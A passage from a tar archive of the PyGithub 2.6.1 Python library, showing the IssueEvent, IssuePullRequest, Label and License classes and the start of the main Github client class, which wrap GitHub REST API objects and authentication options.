self._makeClassAttribute( github.GithubApp.GithubApp, attributes["performed_via_github_app"] ) if "reactions" in attributes: self._reactions = self._makeDictAttribute(attributes["reactions"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/IssueEvent.py0000644000175100001660000002751414756101563016725 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Aaron L. Levine # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.GithubApp import github.GithubObject import github.Issue import github.Label import github.Milestone import github.NamedUser import github.Team from github.GithubObject import Attribute, CompletableGithubObject, NotSet if TYPE_CHECKING: from github.GithubApp import GithubApp from github.Issue import Issue from github.Label import Label from github.Milestone import Milestone from github.NamedUser import NamedUser from github.Team import Team class IssueEvent(CompletableGithubObject): """ This class represents IssueEvents. The reference can be found here https://docs.github.com/en/rest/reference/issues#events The OpenAPI schema can be found at - /components/schemas/issue-event - /components/schemas/issue-event-for-issue """ def _initAttributes(self) -> None: self._actor: Attribute[NamedUser] = NotSet self._assignee: Attribute[NamedUser] = NotSet self._assigner: Attribute[NamedUser] = NotSet self._author_association: Attribute[dict[str, Any]] = NotSet self._commit_id: Attribute[str] = NotSet self._commit_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._dismissed_review: Attribute[dict] = NotSet self._event: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._issue: Attribute[Issue] = NotSet self._label: Attribute[Label] = NotSet self._lock_reason: Attribute[str] = NotSet self._milestone: Attribute[Milestone] = NotSet self._node_id: Attribute[str] = NotSet self._performed_via_github_app: Attribute[GithubApp] = NotSet self._project_card: Attribute[dict[str, Any]] = NotSet self._rename: Attribute[dict] = NotSet self._requested_reviewer: Attribute[NamedUser] = NotSet self._requested_team: Attribute[Team] = NotSet self._review_requester: Attribute[NamedUser] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property def actor(self) -> NamedUser: self._completeIfNotSet(self._actor) return self._actor.value @property def assignee(self) -> NamedUser: self._completeIfNotSet(self._assignee) return self._assignee.value @property def assigner(self) -> NamedUser: self._completeIfNotSet(self._assigner) return self._assigner.value @property def author_association(self) -> dict[str, Any]: self._completeIfNotSet(self._author_association) return self._author_association.value @property def commit_id(self) -> str: self._completeIfNotSet(self._commit_id) return self._commit_id.value @property def commit_url(self) -> str: self._completeIfNotSet(self._commit_url) return self._commit_url.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def dismissed_review(self) -> dict: self._completeIfNotSet(self._dismissed_review) return self._dismissed_review.value @property def event(self) -> str: self._completeIfNotSet(self._event) return self._event.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def issue(self) -> Issue: self._completeIfNotSet(self._issue) return self._issue.value @property def label(self) -> Label: self._completeIfNotSet(self._label) return self._label.value @property def lock_reason(self) -> str: self._completeIfNotSet(self._lock_reason) return self._lock_reason.value @property def milestone(self) -> Milestone: self._completeIfNotSet(self._milestone) return self._milestone.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def performed_via_github_app(self) -> GithubApp: self._completeIfNotSet(self._performed_via_github_app) return self._performed_via_github_app.value @property def project_card(self) -> dict[str, Any]: self._completeIfNotSet(self._project_card) return self._project_card.value @property def rename(self) -> dict: self._completeIfNotSet(self._rename) return self._rename.value @property def requested_reviewer(self) -> NamedUser: self._completeIfNotSet(self._requested_reviewer) return self._requested_reviewer.value @property def requested_team(self) -> Team: self._completeIfNotSet(self._requested_team) return self._requested_team.value @property def review_requester(self) -> NamedUser: self._completeIfNotSet(self._review_requester) return self._review_requester.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "actor" in attributes: # pragma no branch self._actor = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["actor"]) if "assignee" in attributes: # pragma no branch self._assignee = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["assignee"]) if "assigner" in attributes: # pragma no branch self._assigner = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["assigner"]) if "author_association" in attributes: # pragma no branch self._author_association = self._makeDictAttribute(attributes["author_association"]) if "commit_id" in attributes: # pragma no branch self._commit_id = self._makeStringAttribute(attributes["commit_id"]) if "commit_url" in attributes: # pragma no branch self._commit_url = self._makeStringAttribute(attributes["commit_url"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "dismissed_review" in attributes: # pragma no branch self._dismissed_review = self._makeDictAttribute(attributes["dismissed_review"]) if "event" in attributes: # pragma no branch self._event = self._makeStringAttribute(attributes["event"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "issue" in attributes: # pragma no branch self._issue = self._makeClassAttribute(github.Issue.Issue, attributes["issue"]) if "label" in attributes: # pragma no branch self._label = self._makeClassAttribute(github.Label.Label, attributes["label"]) if "lock_reason" in attributes: # pragma no branch self._lock_reason = self._makeStringAttribute(attributes["lock_reason"]) if "milestone" in attributes: # pragma no branch self._milestone = self._makeClassAttribute(github.Milestone.Milestone, attributes["milestone"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "performed_via_github_app" in attributes: # pragma no branch self._performed_via_github_app = self._makeClassAttribute( github.GithubApp.GithubApp, attributes["performed_via_github_app"] ) if "project_card" in attributes: # pragma no branch self._project_card = self._makeDictAttribute(attributes["project_card"]) if "rename" in attributes: # pragma no branch self._rename = self._makeDictAttribute(attributes["rename"]) if "requested_reviewer" in attributes: # pragma no branch self._requested_reviewer = self._makeClassAttribute( github.NamedUser.NamedUser, attributes["requested_reviewer"] ) if "requested_team" in attributes: # pragma no branch self._requested_team = self._makeClassAttribute(github.Team.Team, attributes["requested_team"]) if "review_requester" in attributes: # pragma no branch self._review_requester = self._makeClassAttribute( github.NamedUser.NamedUser, attributes["review_requester"] ) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/IssuePullRequest.py0000644000175100001660000001140514756101563020121 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class IssuePullRequest(NonCompletableGithubObject): """ This class represents IssuePullRequests. The OpenAPI schema can be found at - /components/schemas/issue-search-result-item/properties/pull_request - /components/schemas/issue/properties/pull_request - /components/schemas/nullable-issue/properties/pull_request """ def _initAttributes(self) -> None: self._diff_url: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._merged_at: Attribute[datetime] = NotSet self._patch_url: Attribute[str] = NotSet self._url: Attribute[str] = NotSet @property def diff_url(self) -> str: return self._diff_url.value @property def html_url(self) -> str: return self._html_url.value @property def merged_at(self) -> datetime: return self._merged_at.value @property def patch_url(self) -> str: return self._patch_url.value @property def url(self) -> str: return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "diff_url" in attributes: # pragma no branch self._diff_url = self._makeStringAttribute(attributes["diff_url"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "merged_at" in attributes: # pragma no branch self._merged_at = self._makeDatetimeAttribute(attributes["merged_at"]) if "patch_url" in attributes: # pragma no branch self._patch_url = self._makeStringAttribute(attributes["patch_url"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Label.py0000644000175100001660000001670114756101563015646 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Mateusz Loskot # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import urllib.parse from typing import Any from github import Consts from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional class Label(CompletableGithubObject): """ This class represents Labels. The reference can be found here https://docs.github.com/en/rest/reference/issues#labels The OpenAPI schema can be found at - /components/schemas/issue-event-label - /components/schemas/issue-search-result-item/properties/labels/items - /components/schemas/issue/properties/labels/items/oneOf/1 - /components/schemas/label - /components/schemas/nullable-issue/properties/labels/items/oneOf/1 - /components/schemas/pull-request-simple/properties/labels/items - /components/schemas/pull-request/properties/labels/items """ def _initAttributes(self) -> None: self._color: Attribute[str] = NotSet self._default: Attribute[bool] = NotSet self._description: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def _identity(self) -> str: return urllib.parse.quote(self.name) @property def color(self) -> str: self._completeIfNotSet(self._color) return self._color.value @property def default(self) -> bool: self._completeIfNotSet(self._default) return self._default.value @property def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/labels/{name} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit(self, name: str, color: str, description: Opt[str] = NotSet) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/labels/{name} `_ """ assert isinstance(name, str), name assert isinstance(color, str), color assert is_optional(description, str), description post_parameters = NotSet.remove_unset_items({"new_name": name, "color": color, "description": description}) headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=post_parameters, headers={"Accept": Consts.mediaTypeLabelDescriptionSearchPreview}, ) self._useAttributes(data) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "color" in attributes: # pragma no branch self._color = self._makeStringAttribute(attributes["color"]) if "default" in attributes: # pragma no branch self._default = self._makeBoolAttribute(attributes["default"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/License.py0000644000175100001660000001747014756101563016215 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Aaron Levine # # Copyright 2017 Mike Miller # # Copyright 2018 Darragh Bailey # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import Attribute, CompletableGithubObject, NotSet class License(CompletableGithubObject): """ This class represents Licenses. The reference can be found here https://docs.github.com/en/rest/reference/licenses The OpenAPI schema can be found at - /components/schemas/license-simple - /components/schemas/minimal-repository/properties/license - /components/schemas/nullable-license-simple """ def _initAttributes(self) -> None: self._body: Attribute[str] = NotSet self._conditions: Attribute[list[str]] = NotSet self._description: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._implementation: Attribute[str] = NotSet self._key: Attribute[str] = NotSet self._limitations: Attribute[list[str]] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._permissions: Attribute[list[str]] = NotSet self._spdx_id: Attribute[str] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property def conditions(self) -> list[str]: self._completeIfNotSet(self._conditions) return self._conditions.value @property def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def implementation(self) -> str: self._completeIfNotSet(self._implementation) return self._implementation.value @property def key(self) -> str: self._completeIfNotSet(self._key) return self._key.value @property def limitations(self) -> list[str]: self._completeIfNotSet(self._limitations) return self._limitations.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def permissions(self) -> list[str]: self._completeIfNotSet(self._permissions) return self._permissions.value @property def spdx_id(self) -> str: self._completeIfNotSet(self._spdx_id) return self._spdx_id.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "conditions" in attributes: # pragma no branch self._conditions = self._makeListOfStringsAttribute(attributes["conditions"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "implementation" in attributes: # pragma no branch self._implementation = self._makeStringAttribute(attributes["implementation"]) if "key" in attributes: # pragma no branch self._key = self._makeStringAttribute(attributes["key"]) if "limitations" in attributes: # pragma no branch self._limitations = self._makeListOfStringsAttribute(attributes["limitations"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "permissions" in attributes: # pragma no branch self._permissions = self._makeListOfStringsAttribute(attributes["permissions"]) if "spdx_id" in attributes: # pragma no branch self._spdx_id = self._makeStringAttribute(attributes["spdx_id"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/MainClass.py0000644000175100001660000013757214756101563016513 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Dima Kukushkin # # Copyright 2012 Luke Cawood # # Copyright 2012 Michael Woodworth # # Copyright 2012 Steve English # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Ed Jackson # # Copyright 2013 Jonathan J Hunt # # Copyright 2013 Steve Brown # # Copyright 2013 Vincent Jacques # # Copyright 2014 C. R. Oldham # # Copyright 2014 Thialfihar # # Copyright 2014 Tyler Treat # # Copyright 2014 Vincent Jacques # # Copyright 2015 Daniel Pocock # # Copyright 2015 Joseph Rawson # # Copyright 2015 Uriel Corfa # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Colin Hoglund # # Copyright 2017 Jannis Gebauer # # Copyright 2018 Agor Maxime # # Copyright 2018 Arda Kuyumcu # # Copyright 2018 Benoit Latinier # # Copyright 2018 Bruce Richardson # # Copyright 2018 Joshua Hoblitt # # Copyright 2018 Maarten Fonville # # Copyright 2018 Mike Miller # # Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # # Copyright 2018 Steve Kowalik # # Copyright 2018 Svend Sorensen # # Copyright 2018 Wan Liuyang # # Copyright 2018 Yossarian King # # Copyright 2018 h.shi <10385628+AnYeMoWang@users.noreply.github.com> # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Caleb Sweeney # # Copyright 2019 Hamel Husain # # Copyright 2019 Isac Souza # # Copyright 2019 Jake Klingensmith # # Copyright 2019 Jake Wilkins # # Copyright 2019 Rigas Papathanasopoulos # # Copyright 2019 Steve Kowalik # # Copyright 2019 Tomas Tomecek # # Copyright 2019 Wan Liuyang # # Copyright 2019 chillipeper # # Copyright 2019 秋葉 # # Copyright 2020 Alice GIRARD # # Copyright 2020 Denis Blanchette # # Copyright 2020 Florent Clarret # # Copyright 2020 Mahesh Raju # # Copyright 2020 Nikolay Edigaryev # # Copyright 2020 Omar Brikaa # # Copyright 2020 Steve Kowalik # # Copyright 2021 Amador Pahim # # Copyright 2021 Mark Walker # # Copyright 2021 Sachi King # # Copyright 2021 Steve Kowalik # # Copyright 2023 Denis Blanchette # # Copyright 2023 Enrico Minack # # Copyright 2023 Hemslo Wang # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # # Copyright 2023 Joseph Henrich # # Copyright 2023 Mark Amery # # Copyright 2023 Trim21 # # Copyright 2023 YugoHino # # Copyright 2023 chantra # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Min RK # # Copyright 2025 Enrico Minack # # Copyright 2025 blyedev <63808441+blyedev@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import pickle import urllib.parse import warnings from datetime import datetime from typing import TYPE_CHECKING, Any, BinaryIO, TypeVar import urllib3 from urllib3.util import Retry import github.ApplicationOAuth import github.Auth import github.AuthenticatedUser import github.Enterprise import github.Event import github.Gist import github.GithubApp import github.GithubIntegration import github.GithubRetry import github.GitignoreTemplate import github.GlobalAdvisory import github.License import github.NamedUser import github.Topic from github import Consts from github.GithubIntegration import GithubIntegration from github.GithubObject import CompletableGithubObject, GithubObject, NotSet, Opt, is_defined from github.GithubRetry import GithubRetry from github.HookDelivery import HookDelivery, HookDeliverySummary from github.HookDescription import HookDescription from github.PaginatedList import PaginatedList from github.RateLimit import RateLimit from github.Requester import Requester if TYPE_CHECKING: from github.AppAuthentication import AppAuthentication from github.ApplicationOAuth import ApplicationOAuth from github.AuthenticatedUser import AuthenticatedUser from github.Commit import Commit from github.ContentFile import ContentFile from github.Event import Event from github.Gist import Gist from github.GithubApp import GithubApp from github.GitignoreTemplate import GitignoreTemplate from github.GlobalAdvisory import GlobalAdvisory from github.Issue import Issue from github.License import License from github.NamedUser import NamedUser from github.Organization import Organization from github.Project import Project from github.ProjectColumn import ProjectColumn from github.Repository import Repository from github.RepositoryDiscussion import RepositoryDiscussion from github.Topic import Topic TGithubObject = TypeVar("TGithubObject", bound=GithubObject) class Github: """ This is the main class you instantiate to access the Github API v3. Optional parameters allow different authentication methods. """ __requester: Requester default_retry = GithubRetry() # keep non-deprecated arguments in-sync with Requester # v3: remove login_or_token, password, jwt and app_auth # v3: move auth to the front of arguments # v3: add * before first argument so all arguments must be named, # allows to reorder / add new arguments / remove deprecated arguments without breaking user code def __init__( self, login_or_token: str | None = None, password: str | None = None, jwt: str | None = None, app_auth: AppAuthentication | None = None, base_url: str = Consts.DEFAULT_BASE_URL, timeout: int = Consts.DEFAULT_TIMEOUT, user_agent: str = Consts.DEFAULT_USER_AGENT, per_page: int = Consts.DEFAULT_PER_PAGE, verify: bool | str = True, retry: int | Retry | None = default_retry, pool_size: int | None = None, seconds_between_requests: float | None = Consts.DEFAULT_SECONDS_BETWEEN_REQUESTS, seconds_between_writes: float | None = Consts.DEFAULT_SECONDS_BETWEEN_WRITES, auth: github.Auth.Auth | None = None, # v3: set lazy = True as the default lazy: bool = False, ) -> None: """ :param login_or_token: string deprecated, use auth=github.Auth.Login(...) or auth=github.Auth.Token(...) instead :param password: string deprecated, use auth=github.Auth.Login(...) instead :param jwt: string deprecated, use auth=github.Auth.AppAuth(...) or auth=github.Auth.AppAuthToken(...) instead :param app_auth: github.AppAuthentication deprecated, use auth=github.Auth.AppInstallationAuth(...) instead :param base_url: string :param timeout: integer :param user_agent: string :param per_page: int :param verify: boolean or string :param retry: int or urllib3.util.retry.Retry object, defaults to github.Github.default_retry, set to None to disable retries :param pool_size: int :param seconds_between_requests: float :param seconds_between_writes: float :param auth: authentication method :param lazy: completable objects created from this instance are lazy, as well as completable objects created from those, and so on """ assert login_or_token is None or isinstance(login_or_token, str), login_or_token assert password is None or isinstance(password, str), password assert jwt is None or isinstance(jwt, str), jwt assert isinstance(base_url, str), base_url assert isinstance(timeout, int), timeout assert user_agent is None or isinstance(user_agent, str), user_agent assert isinstance(per_page, int), per_page assert isinstance(verify, (bool, str)), verify assert retry is None or isinstance(retry, int) or isinstance(retry, urllib3.util.Retry), retry assert pool_size is None or isinstance(pool_size, int), pool_size assert seconds_between_requests is None or seconds_between_requests >= 0 assert seconds_between_writes is None or seconds_between_writes >= 0 assert auth is None or isinstance(auth, github.Auth.Auth), auth assert isinstance(lazy, bool), lazy if password is not None: warnings.warn( "Arguments login_or_token and password are deprecated, please use " "auth=github.Auth.Login(...) instead", category=DeprecationWarning, ) auth = github.Auth.Login(login_or_token, password) # type: ignore elif login_or_token is not None: warnings.warn( "Argument login_or_token is deprecated, please use " "auth=github.Auth.Token(...) instead", category=DeprecationWarning, ) auth = github.Auth.Token(login_or_token) elif jwt is not None: warnings.warn( "Argument jwt is deprecated, please use " "auth=github.Auth.AppAuth(...) or " "auth=github.Auth.AppAuthToken(...) instead", category=DeprecationWarning, ) auth = github.Auth.AppAuthToken(jwt) elif app_auth is not None: warnings.warn( "Argument app_auth is deprecated, please use " "auth=github.Auth.AppInstallationAuth(...) instead", category=DeprecationWarning, ) auth = app_auth self.__requester = Requester( auth, base_url, timeout, user_agent, per_page, verify, retry, pool_size, seconds_between_requests, seconds_between_writes, lazy, ) def withLazy(self, lazy: bool) -> Github: """ Create a Github instance with identical configuration but the given lazy setting. :param lazy: completable objects created from this instance are lazy, as well as completable objects created from those, and so on :return: new Github instance """ kwargs = self.__requester.kwargs kwargs.update(lazy=lazy) return Github(**kwargs) def close(self) -> None: """Close connections to the server. Alternatively, use the Github object as a context manager: .. code-block:: python with github.Github(...) as gh: # do something """ self.__requester.close() def __enter__(self) -> Github: return self def __exit__(self, exc_type: Any, exc_val: Any, exc_tb: Any) -> None: self.close() @property def requester(self) -> Requester: """ Return my Requester object. For example, to make requests to API endpoints not yet supported by PyGitHub. """ return self.__requester @property def FIX_REPO_GET_GIT_REF(self) -> bool: return self.__requester.FIX_REPO_GET_GIT_REF @FIX_REPO_GET_GIT_REF.setter def FIX_REPO_GET_GIT_REF(self, value: bool) -> None: self.__requester.FIX_REPO_GET_GIT_REF = value # v3: Remove this property? Why should it be necessary to read/modify it after construction @property def per_page(self) -> int: return self.__requester.per_page @per_page.setter def per_page(self, value: int) -> None: self.__requester.per_page = value # v3: Provide a unified way to access values of headers of last response # v3: (and add/keep ad hoc properties for specific useful headers like rate limiting, oauth scopes, etc.) # v3: Return an instance of a class: using a tuple did not allow to add a field "resettime" @property def rate_limiting(self) -> tuple[int, int]: """ First value is requests remaining, second value is request limit. """ remaining, limit = self.__requester.rate_limiting if limit < 0: self.get_rate_limit() return self.__requester.rate_limiting @property def rate_limiting_resettime(self) -> int: """ Unix timestamp indicating when rate limiting will reset. """ if self.__requester.rate_limiting_resettime == 0: self.get_rate_limit() return self.__requester.rate_limiting_resettime def get_rate_limit(self) -> RateLimit: """ Rate limit status for different resources (core/search/graphql). :calls:`GET /rate_limit `_ """ headers, data = self.__requester.requestJsonAndCheck("GET", "/rate_limit") return RateLimit(self.__requester, headers, data["resources"]) @property def oauth_scopes(self) -> list[str] | None: """ :type: list of string """ return self.__requester.oauth_scopes def get_license(self, key: Opt[str] = NotSet) -> License: """ :calls: `GET /license/{license} `_ """ assert isinstance(key, str), key key = urllib.parse.quote(key) headers, data = self.__requester.requestJsonAndCheck("GET", f"/licenses/{key}") return github.License.License(self.__requester, headers, data, completed=True) def get_licenses(self) -> PaginatedList[License]: """ :calls: `GET /licenses `_ """ url_parameters: dict[str, Any] = {} return PaginatedList(github.License.License, self.__requester, "/licenses", url_parameters) def get_events(self) -> PaginatedList[Event]: """ :calls: `GET /events `_ """ return PaginatedList(github.Event.Event, self.__requester, "/events", None) def get_user(self, login: Opt[str] = NotSet) -> NamedUser | AuthenticatedUser: """ :calls: `GET /users/{user} `_ or `GET /user `_ """ if login is NotSet: url = "/user" # always return a lazy completable AuthenticatedUser # v3: given github.Github(lazy=True) is now default, remove completed=False here return github.AuthenticatedUser.AuthenticatedUser(self.__requester, url=url, completed=False) else: assert isinstance(login, str), login login = urllib.parse.quote(login) url = f"/users/{login}" # always return a completed NamedUser # v3: remove complete() here and make this as lazy as github.Github is return github.NamedUser.NamedUser(self.__requester, url=url).complete() def 